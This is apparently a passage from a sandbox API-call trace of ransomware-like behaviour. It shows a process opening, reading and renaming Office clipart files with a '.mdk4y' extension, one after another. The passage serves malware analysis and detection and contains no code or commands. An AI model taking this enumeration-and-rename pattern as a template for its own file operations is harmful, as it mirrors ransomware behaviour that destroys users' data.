QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821971500000) returned 1 [0144.485] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf39f, lpOverlapped=0x0) returned 1 [0144.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821987000000) returned 1 [0144.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821987000000) returned 1 [0144.641] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.mdk4y")) returned 1 [0144.642] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.642] AreFileApisANSI () returned 1 [0144.642] GetACP () returned 0x4e4 [0144.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099192.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099192.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0144.642] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821987200000) returned 1 [0144.642] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x462c, lpOverlapped=0x0) returned 1 [0144.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821988600000) returned 1 [0144.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821988600000) returned 1 [0144.657] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.mdk4y")) returned 1 [0144.659] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.659] AreFileApisANSI () returned 1 [0144.659] GetACP () returned 0x4e4 [0144.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099193.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099193.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0144.659] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821989000000) returned 1 [0144.660] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8ada, lpOverlapped=0x0) returned 1 [0144.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821995800000) returned 1 [0144.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821995900000) returned 1 [0144.729] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.mdk4y")) returned 1 [0144.730] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.730] AreFileApisANSI () returned 1 [0144.730] GetACP () returned 0x4e4 [0144.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099194.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099194.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0144.730] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821996000000) returned 1 [0144.731] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x62b1, lpOverlapped=0x0) returned 1 [0144.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821997800000) returned 1 [0144.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821997800000) returned 1 [0144.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.mdk4y")) returned 1 [0144.750] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.750] AreFileApisANSI () returned 1 [0144.750] GetACP () returned 0x4e4 [0144.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099195.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099195.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0144.750] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821998100000) returned 1 [0144.751] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4dd3, lpOverlapped=0x0) returned 1 [0144.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822002900000) returned 1 [0144.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822002900000) returned 1 [0144.800] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.mdk4y")) returned 1 [0144.801] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.801] AreFileApisANSI () returned 1 [0144.801] GetACP () returned 0x4e4 [0144.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099196.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099196.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0144.801] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822003500000) returned 1 [0144.805] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3801, lpOverlapped=0x0) returned 1 [0144.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822005600000) returned 1 [0144.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822005600000) returned 1 [0144.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.mdk4y")) returned 1 [0144.827] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.827] AreFileApisANSI () returned 1 [0144.827] GetACP () returned 0x4e4 [0144.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099197.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099197.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0144.828] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822005800000) returned 1 [0144.828] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a92, lpOverlapped=0x0) returned 1 [0144.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822013400000) returned 1 [0144.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822013400000) returned 1 [0144.905] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.mdk4y")) returned 1 [0144.922] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0144.922] AreFileApisANSI () returned 1 [0144.922] GetACP () returned 0x4e4 [0144.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099198.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099198.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0144.922] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0144.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822015200000) returned 1 [0144.922] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x148b, lpOverlapped=0x0) returned 1 [0145.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822027200000) returned 1 [0145.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822027200000) returned 1 [0145.042] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.mdk4y")) returned 1 [0145.176] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.176] AreFileApisANSI () returned 1 [0145.176] GetACP () returned 0x4e4 [0145.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099199.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099199.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.176] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822040600000) returned 1 [0145.177] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x84b7, lpOverlapped=0x0) returned 1 [0145.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822044100000) returned 1 [0145.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822044100000) returned 1 [0145.212] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.mdk4y")) returned 1 [0145.213] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.213] AreFileApisANSI () returned 1 [0145.213] GetACP () returned 0x4e4 [0145.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099200.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099200.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.213] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.214] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822044600000) returned 1 [0145.216] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x409f, lpOverlapped=0x0) returned 1 [0145.229] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822045900000) returned 1 [0145.229] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822045900000) returned 1 [0145.230] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.mdk4y")) returned 1 [0145.230] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.230] AreFileApisANSI () returned 1 [0145.230] GetACP () returned 0x4e4 [0145.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099201.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099201.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.230] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822046100000) returned 1 [0145.231] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc8c9, lpOverlapped=0x0) returned 1 [0145.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822050400000) returned 1 [0145.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822050400000) returned 1 [0145.275] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.mdk4y")) returned 1 [0145.276] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.276] AreFileApisANSI () returned 1 [0145.276] GetACP () returned 0x4e4 [0145.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099202.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099202.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.276] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822050700000) returned 1 [0145.277] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1367, lpOverlapped=0x0) returned 1 [0145.285] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822051500000) returned 1 [0145.285] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822051500000) returned 1 [0145.285] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.mdk4y")) returned 1 [0145.287] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.287] AreFileApisANSI () returned 1 [0145.287] GetACP () returned 0x4e4 [0145.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099203.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099203.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.287] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822051800000) returned 1 [0145.288] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf40, lpOverlapped=0x0) returned 1 [0145.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822052900000) returned 1 [0145.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822052900000) returned 1 [0145.299] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.mdk4y")) returned 1 [0145.300] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.300] AreFileApisANSI () returned 1 [0145.300] GetACP () returned 0x4e4 [0145.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099204.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099204.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.300] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822053200000) returned 1 [0145.302] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x45be, lpOverlapped=0x0) returned 1 [0145.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822054700000) returned 1 [0145.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822054700000) returned 1 [0145.318] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.mdk4y")) returned 1 [0145.319] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0145.319] AreFileApisANSI () returned 1 [0145.319] GetACP () returned 0x4e4 [0145.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099205.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099205.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0145.319] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0145.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822055000000) returned 1 [0145.320] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x45be, lpOverlapped=0x0) returned 1 [0145.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822061700000) returned 1 [0145.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 